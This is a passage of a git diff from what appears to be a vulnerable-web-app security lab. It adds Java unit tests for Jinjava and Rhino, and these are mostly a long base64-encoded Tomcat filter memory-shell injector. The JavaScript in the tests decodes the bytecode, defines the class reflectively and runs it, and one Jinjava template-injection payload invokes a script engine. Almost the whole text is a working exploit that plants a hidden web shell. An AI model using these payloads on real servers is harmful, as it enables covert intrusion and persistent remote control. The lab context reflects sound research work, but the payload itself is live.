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\";try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass(\"java.lang.String\"); var bytecode; try { var clsBase64 = classLoader.loadClass(\"java.util.Base64\"); var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\"); var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz); bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\"); bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass(\"sun.misc.BASE64Decoder\"); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\"); var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}')}}", context); + System.out.println(render); + } + + @Test + void test2() { + Jinjava jinjava = new Jinjava(); + Map context = Maps.newHashMap(); + String renderedTemplate = jinjava.render("{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance('1+1')) }}", context); + System.out.println(renderedTemplate); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/test/java/RhinoServletTest.java b/vul/vul-webapp-deserialize/src/test/java/RhinoServletTest.java new file mode 100644 index 00000000..68ae4ef2 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/RhinoServletTest.java @@ -0,0 +1,18 @@ +import org.junit.jupiter.api.Test; +import org.mozilla.javascript.Context; +import org.mozilla.javascript.Scriptable; + +/** + * @author ReaJason + * @since 2025/1/30 + */ +class RhinoServletTest { + + @Test + void test() { + Context cx = Context.enter(); + Scriptable scope = cx.initStandardObjects(); + Object result = cx.evaluateString(scope, "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = \"org.apache.commons.lang.zKHoq.ImageUtil\";var base64Str = \"yv66vgAAADQBvAgA7AgA7QgA7goAEgDvCgB3APALAPEA8gsA8wD0CwDzAPUKAHcA9goAdwD3BwD4CgALAPkHAPoKAA0A7wcA+wgA/AcA/QcA/goAdwD/BwCbCgAPAQAIAQEKADgBAggBAwoAdwEECAEFCACUBwEGCgAcAQcLAQgA8gsA8QEJCgAPAQoKABIBCwoAEQEMCAENCAEOCAEPCACGCgAPARAKABEBEQoAdwESCgAvARMKABEBFAoAdwEVCgB3ARYKAHcBFwcBGAgApwcApgkBGQEaCgARARsKARwBHQoBGQEeCgEcAR8IASAHASEJASIBIwgBJAoBJQEmCAEnCgARASgIASkIASoIASsKABEBLAgBLQgBLggBLwgBMAgBMQgBMgoAdwEzCAE0CgARATUIATYIATcIATgKATkBHQoBOQE6CAC3BwE7CwBRATwIAT0KAAsBPgcBPwgBQAgBQQoAEQFCCAFDCAFECAFFBwFGCgBcAO8HAUcHAUgKAF8BSQoAXgFKCgBeAUsKAFwBTAoAXAFNCgBeAU4KAFwBTgcBTwoAEQFQBwFRCgBpAO8IAVIKAGkBUwoAaQEMCgBnAVQHAVUIAVYKAG8BVwoAEQFYCgFZAR0KAVkBWgcBWwoAdQFUBwFcCgB3AO8BAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARExjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3I7AQAMZ2V0Q2xhc3NOYW1lAQAPZ2V0QmFzZTY0U3RyaW5nAQAGPGluaXQ+AQADKClWAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcBXAcBXQcBXgcA+AEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAV2YWx1ZQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwcA+wcBBgcA/gEACkV4Y2VwdGlvbnMBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACGdldFNoZWxsAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47BwEYAQAGaW5qZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBACNbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yPCo+OwcAtQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAMZGVjb2RlckNsYXNzAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAGYnVmZmVyAQABbgEAAUkBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAA9nemlwSW5wdXRTdHJlYW0BAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07BwFGBwFHBwFfBwFgAQAMaW52b2tlTWV0aG9kAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAGbWV0aG9kAQADb2JqAQAKbWV0aG9kTmFtZQEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBABVbTGphdmEvbGFuZy9DbGFzczwqPjsHAP0HAWEHAU8HASEHANcHANkBAGAoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARuYW1lBwFbBwFiAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEADnt7dXJsUGF0dGVybn19AQANe3tjbGFzc05hbWV9fQEADXt7YmFzZTY0U3RyfX0MAIIAgwwAkgCTBwFdDAFjAWQHAV4MAWUBZgwBZwFoDACjAKQMAK8AsAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAWkAgwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QMANAA0QwBagB6AQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgwBawFsAQAGdGFyZ2V0DADiAOMBAAZ0aGlzJDABABFqYXZhL3V0aWwvSGFzaE1hcAwBbQFuBwFvDAFwAXEMAXIBcwwBdAF1DAF2AHoBABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcgEACXJlc291cmNlcwwBdwF4DAF5AXMMAIAAegwBegF7DAF8AWgMAIEAegwAuwC8DADCAMMBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAX0MAX4AqgwBfwGABwFhDAGBAYIMAYMBhAwBhQGGAQANZmluZEZpbHRlckRlZgEAEGphdmEvbGFuZy9TdHJpbmcHAYcMAMgBiAEAF2ZpbHRlciBhbHJlYWR5IGluamVjdGVkBwGJDAGKAYsBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlckRlZgwBjAF7AQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXABACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAMAYwBjQEADXNldEZpbHRlck5hbWUBAA5zZXRGaWx0ZXJDbGFzcwEADGFkZEZpbHRlckRlZgEADXNldERpc3BhdGNoZXIBAAdSRVFVRVNUAQANYWRkVVJMUGF0dGVybgwAeQB6AQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnDAGOAY8BAA1zZXRVUkxQYXR0ZXJuAQASYWRkRmlsdGVyTWFwQmVmb3JlAQAMYWRkRmlsdGVyTWFwBwGQDAF8AZEBAA1qYXZhL3V0aWwvTWFwDAGSAZMBABVmaWx0ZXIgaW5qZWN0IHN1Y2Nlc3MMAZQBlQEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAZYBgAEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQwAggGXDACCAZgMAZkBmgwBmwGcDAGdAZ4MAZ8AgwEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAaABdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQASTWV0aG9kIG5vdCBmb3VuZDogDAGhAaIMAIIBiwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uAQAXRXJyb3IgaW52b2tpbmcgbWV0aG9kOiAMAIIBowwBpAGlBwGmDAGnAKQBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BAEJjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3IBAA5qYXZhL3V0aWwvTGlzdAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvbGFuZy9UaHJvd2FibGUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAHZ2V0TmFtZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGdmFsdWVzAQAYKClMamF2YS91dGlsL0NvbGxlY3Rpb247AQAUamF2YS91dGlsL0NvbGxlY3Rpb24BAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAIdG9TdHJpbmcBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAdmb3JOYW1lAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDYXVzZQEAFygpTGphdmEvbGFuZy9UaHJvd2FibGU7AQAJZ2V0TWV0aG9kAQAFKFtCKVYBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAVjbG9zZQEADWdldFN1cGVyY2xhc3MBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBACooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9UaHJvd2FibGU7KVYBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACdvcmcvYXBhY2hlL2NvbW1vbnMvbGFuZy96S0hvcS9JbWFnZVV0aWwHAagBAAIvKggBqgEALm9yZy5hcGFjaGUuaHR0cC53ZWIuaGFuZGxlcnMueGZhWVcuT0F1dGhGaWx0ZXIIAawBD0hINHNJQUFBQUFBQUEvNlZYQ1hSVTFSbitiaktaOTJieTJJSUdCbFFVV2JLUURJUWtoQVNCYkFJYUFoS0VCbHJibDVtWFpHQXlNNzU1QXdsVnU5ak4xcU5IclcxdHBWcTcwTVcyU0dWQ3hBVmJxOVZXN1dhMXRYYmZ0ZnRxYTAyLys5NmJ5V1F5UVhzOEo3bnYzdnN2OS8rL2Y3bDNIbnY1bnZzQjFJdVZmclRqVmprY1Z2RlJQelRjcHVKMkJSK1QwenNVZk55UFQrQ1Rmc3pFcDFRY1VmQnBCWmNwK0l5Q3p5cjRuSW83SmR2blZYeEJ4UmRWSEZWeGw0cGpVdHVYVk56dHgzR2tGWXo2VUlzVGZzekNtQjhMY1kvY1BpbUhleFhjcCtCK1NYNmdGT2ZobEp3OUtCbS9MSmRma2N1SDVPeXJmczRlbHNNaktyNVdpa2Z4bUlLdnk2Ty9JVGNQeStGeHVmMkVpaWVsd0JNS3Z1bEhBMjVWOEMwLzF1RGIwb0h2bEdJeHZpdVZQaVhQK0o0ZlQrTVpTZmkrWlAyQlZQS3NKUHl3Rk0vaFJ3cCtyT0FuQXNYN2pSR0JzcTU5K2dFOUdOVmpBOEVleTR6RUJsb0VQQWs5bVNUSFVMaEJ3RDlvNkdIRDdOYUhESUZTWjdGTGo2YTQ4cTZMeENMV2VuSldWTzZpV0hzOHpOMVpYWkdZMFowYTZqUE1uWHBmMUpDSHhFTjZkSmR1UnVUYTNmUllneEVlMHRvVmlnOEZUVVBmcHlmanNhQzA1cURSRnh3eWhwS0RSalFhdEVjckhvOEdCK0xoUTVGb1ZBOXVjaWNYUnFLV1lkTGVCUlU1WHJSSGFYeFhYSnJaSXEwU2h3VG1UVU1YMFByMHBORlkzeGtMMmJhWFYreHRxeXdFaVdMWUhPWmt4TGIxN1ROQ0ZzbGVSNDNBblB5VEpKd0hkTE5SNE13Y1V1ZHd5RWhZa1hpTTVLSSt3bEMwdDAyZzVJQ0RhL2xrdkVZU0djek95TmUrcm1vOU5jem9zZlRRL3ExNndtWnpVcGlCeXg2U3pQclpZV1Q4bk9wa3BUUkJDUnV1bitJU21wd0hSOGFqb2xDZmdLOG5NaERUclpSSmZmTUxNVHJHaVdGcUpYbVByVitFTWtBTUIwUG1TTUtLQjlzamlVRTdGaEluUWlob3JoamkveDdXZ29LZkNxamh1Qk5yZ2IwVnJuRFNNQTlFRFN2WTQzeDNHSmVuaktUVk1oMDFtU0FNUmo3WjBkbytxRWRpVHE3MDgxOG10bTZhMjFLV3dDTEhwMGc4MkRaaUdhMm1xWTl3UDVHeWlKbWhEOG5FU0JySkpERVdPRGRQK2FCbEpZS2JPZlE0SE5MRHNHN3BBak9UazR3V09PZjBUckdta3BNZHlWZzJ2YWZNcHBEMFMyRGhhWnltL1diR2lPWFQyNTlualdwbXpjZ1B4MVFoMXg0RlAxUHdjd1cvY0hxamdsK3lsZGtOOTFjS2ZrMW9aQ3VoVy9rS1hXdmpzZjdJZ0IwanJUOW5SK0NzMC9IYitaeTB6RGc3bmI4bm5qSkRCdWswZSs3a0hsSXJkV2k0R0YxeTJDRXdXMjdVcHF4SXRMYk5MaHdOdjhGdnFXVEFzRHF6bldEdmxOTFE4RHM4VC9WN3B6WUpCUzlvK0QzK29PR1ArQk56d0drb08rTk85VEhFZWJwY0kzSjFUTnJLeU0wdDBGVlk0TWxVckhZb2tnelZ0clgyZEdZYW5Lbmh6L2dMODl0dys1MzBweU5UOGQ1d3BqdmtDV2M1TkllakxkWGZMM1g5Rlg5ajcyL3Q3R0dWYXZnNy9zSDRUU3J0Wk1JSU1UTkRwbUZkYkl6MGNLV2hFeGRxK0NmK0paRitVY1BOK0xlRy8rQWxnYVd2S3YwRWxyMjZqTk93Ulo3MFg3eXM0U0k1RzZmOVFvZ2lEWnU0Rk1XUzBJOEJEVEhFbVNnSmZTVEtXNEdKcVFtUEtCSFk4Qm92SmsxNGhhSWhnbjJhVUlXUFlDZDBrN2NvU1F6dTJhZHRMTHpUSnNLNkl4V3pJa05HTnJwRVR2ZzFVU28wVGN3UU16VnNsdjdNRXJNVk1VY1RaV0t1SnM0UVoycWlYSUo4S1haSjJqeFdub1poTVovdHQrQmR5TXVsVUNHNStaWFhyRmwycDJ0WXJuZlROaWVCd0xRdGljM3c5RzEwQ29PclBDZjU1MmF3M2JJdFoxZnBqN3V2bUtXRmJyOEMxNXlQMWJIVnNBYmpZWUdOQldTbTFuK3VGdFBvajdKb2c0NEdxcHMvSFkybEY0a2RpTytuYVdzcnBuYU9BczJrc3RBalJLVzVidXVZVzFISW45S1ljWEJMTEducHNaQjhURlFVMUZJYU52cjVnSE1WemVQTnZXVkxRV1U4YlVKWjViU1FUcjNucFoweTY2bmVVMkcvQ3VRcEJlUjNTY29XaDVBMFFpa3pZbzBFMlVoc2lpSWZCVEU5U3ZEazQwT3FrZkhhYkRqWnZPd1ZZcHg5MmFtaGVNeGk0dEdhaFpQZWtZTzYyU1B6bWY2MVZPNXhlbVUyQnhkWFZMN3lkYTlSWW51bTVwMWxxOFZ6KzFLVzhjb1daaU15TXhQWFRLVUdwa1ozNGtHYm5IVEk4Z0tIRkVpblhmSUpsN08vYzlDTUg1U1BTWnZrSlF4Nk5DbmZnd1ZrOXpqQTcyWjBwSEh6TXNheC9yYnpQSmNneXltWjZrdTZ0MVo1eGVTc3lvWmpiZ0Zadm1VT3lrbWVBVGxwb2xyWmUzUnlXbWYxbGxyeGJLZVZlZ3FmdnZHMVBTK2xLYlZ4Y3lDb0ovVFFvT0hraEx3MUJ2VllPTXErSHh6dTEzdDNCN2UxcHF4QnAra3BJc0JyZlhXbzBWaloxNlN2RGExcXFLdXIxMVd4VU1VbXZpbFhyV3J2YUd4dFd0UFF0TGFwZmxYajZzYjIxV3RhMjV2cUdsdnJXbGZXdDdXcjRoeG01cVUwcUtaMXdJaFpxamlYcGNIYXNsYlZyVmJGWW9HVlhmK2ZRUzArc1FBbjVQQ0FIQjZVdzBOK0RnL0w0UkU1SEpiRDQ1THdsSnc5eTE4Z2ZIREpWbURadnd4eEhuZmJJZENCRXZqa2pROGhndnhaWGlUTzRucFR6dnBzcmpmbnJCZHh2U1ZuZlI3WEYrV3N6K2RheUljYXg2M2NXYzJ2NExla2FoVGlMc21DYm81K2ZvRnllREFQMnpqVEhDWnNGMHY0bFFwMnVBcldrMVB5ZXF1cVIxR1VyMkVCWlJiYUdzb2RMbGVEblBWZ0ozWDQ1QTFMR25VSmc3c2xwQTJMcnJMaUUvQnNYVkZXSWs3Qm00YXlnbDgxRFY5M1RScitzbExQZmRCNmk4dG05SkJVdzhXTnZjVlZuUHRPSWRSMUJHdTd5K2JZNG1tVU5Yc0NIaWt5TjFjazRKa2lVOUxzcVQ1cSszSUJOaUtNVmx3T2kxOFArbWhSSllySHVWMmtZSWFDRUlTQzhEaXg4N2hyTHUyOUYrbVFkTDZPZ0FHTHFHd3hWSnhQQ0paUTdRcHFXRXJGeXhuQkNqcGN5U09xZVVnVkRxREdCbWt6TlMya3pHNjhEc1dVYkV